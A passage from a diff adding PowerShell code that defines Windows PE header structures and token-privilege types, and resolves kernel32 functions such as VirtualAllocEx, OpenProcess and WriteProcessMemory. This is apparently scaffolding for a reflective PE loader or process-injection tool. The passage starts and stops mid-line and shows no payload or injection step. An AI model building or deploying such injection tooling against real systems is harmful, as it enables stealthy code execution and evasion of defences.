'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = 